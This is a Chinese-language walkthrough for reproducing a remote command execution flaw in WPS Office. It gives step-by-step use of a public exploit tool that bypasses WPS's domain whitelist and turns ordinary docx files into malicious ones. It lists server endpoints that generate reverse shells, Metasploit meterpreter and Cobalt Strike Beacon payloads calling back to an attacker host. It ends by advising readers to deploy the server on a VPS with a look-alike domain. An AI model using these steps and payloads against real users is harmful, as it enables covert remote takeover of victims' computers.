WPS_RCE漏洞复现

漏洞介绍

漏洞名称:WPS远程命令执行漏洞

漏洞编号:暂无

影响版本:

  • WPS Office 2023 个人版 < 11.1.0.15120
  • WPS Office 2019 企业版 < 11.8.2.12085

什么是WebExtension?

  • Office中的WebExtension(通常称为Office插件或Office应用程序)是一种用于扩展Microsoft Office功能的技术。Office插件使第三方开发者能够在Office应用程序中集成自己的服务和功能。这些插件采用跨平台的Web技术(如HTML、CSS和JavaScript)开发,可以在不同的平台和设备上运行。
  • 简单理解就是Office内置了一个浏览器,可以解析html/javascript/css 代码
  • 本次的漏洞就是WPS在处理WebExtension时,未能正确的处理javascript代码,造成了溢出RCE。

漏洞利于限制

  1. 购买***wps.cn的域名

    • 既然是有WebExtension中的JavaScript造成的,那么就需要准备对应的html文件,WebExtension支持从第三方网站加载html,所以需要在公网开启web服务,用来共享html文件。

    • 由于wps的限制,当我们加载第三方网站的html时,wps会进行提醒,大概如下面图片。

      image-20230811152820721

    • 在WPS中,wps.cn的域名是在白名单中的,只要我们加载的资源在wps.cn的网站中就不会有这个提示。但是我们无法控制wps.cn

    • 在wps中,白名单检测存在漏洞,我们只需要把html文件放在xxxwps.cn的网站中就不会有提示。

    • 因此,想要利用这个漏洞,必须要购买一个域名,域名中只需要包含wps.cn即可。

  2. 部署html文件到vps上,需要把域名绑定到vps

    • 购买域名和vps后,需要把子域名 clientweb.docer.wps.cn.***wps.cn 解析到购买的vps上,尽量套一层cdn,再使用nginx反向代理到搭建的服务上。
    • 这里的子域名必须为 clientweb.docer.wps.cn.***wps.cn,不然无法过白名单。

来源:https://github.com/ba0gu0/wps-rce

本地复现

  1. 克隆项目

    1
    git clone https://github.com/ba0gu0/wps_rce
    • 安装对应的依赖
    • python >= 3.8
    1
    2
    cd wps_rce
    pip install -r requirement.txt -i https://pypi.tuna.tsinghua.edu.cn/simple
  2. 修改hosts文件

    • 以管理员身份运行记事本

    • 文件-打开C:\Windows\System32\drivers\etc\hosts

    • 添加以下字符串并保存

      1
      127.0.0.1	clientweb.docer.wps.cn.xxxwps.cn

      image-20230901223135811

  3. 启动服务端

    1
    python server/main.py

    image-20230901222528170

    • 此脚本的作用是用来生成html代码,同时还支持生成shell、msf、cs反弹的代码。

    • 直接访问域名解析的地址,或者vps的端口

      image-20230811154049949

    • 此服务端基于网上公开的poc进行开发,访问对应的地址,可以直接生成对应程序的利用代码。

    • url对应cs和msf的payload列表

    url地址 平台 payload
    /calc 执行calc命令
    /shell/1.1.1.1/9000 all 服务器监听:nc -lnvp 9000
    /msf/tcp/1.1.1.1/9000 msf windows/meterpreter/reverse_tcp
    /msf/http/1.1.1.1/80 msf windows/meterpreter/reverse_http
    /msf/https/1.1.1.1/443 msf windows/meterpreter/reverse_https
    /cs/http/1.1.1.1/80 cs Beacon http
    /cs/https/1.1.1.1/443 cs Beacon https
    /shellcode/base64_shellcode 任意的windows可用的shellcode,需要进行base64编码
  4. 生成恶意文件

    • 准备一个test.docx文件放到client文件夹下

      image-20230901224412825

    • 执行如下命令

      1
      2
      cd client
      python main.py test.docx http://clientweb.docer.wps.cn.xxxwps.cn/calc

      image-20230901224537781

    • 新生成的docx文件便为含恶意代码的docx文件

      image-20230901224634486

  5. 使用wps打开该文件,自动弹出计算器

    image-20230901225046146

利用

如有**wps.cn此类的域名则可以在vps上面启动server端,并把clientweb.docer.wps.cn.**wps.cn解析到vps的IP上面,省去上述修改hosts文件的步骤就可以啦~~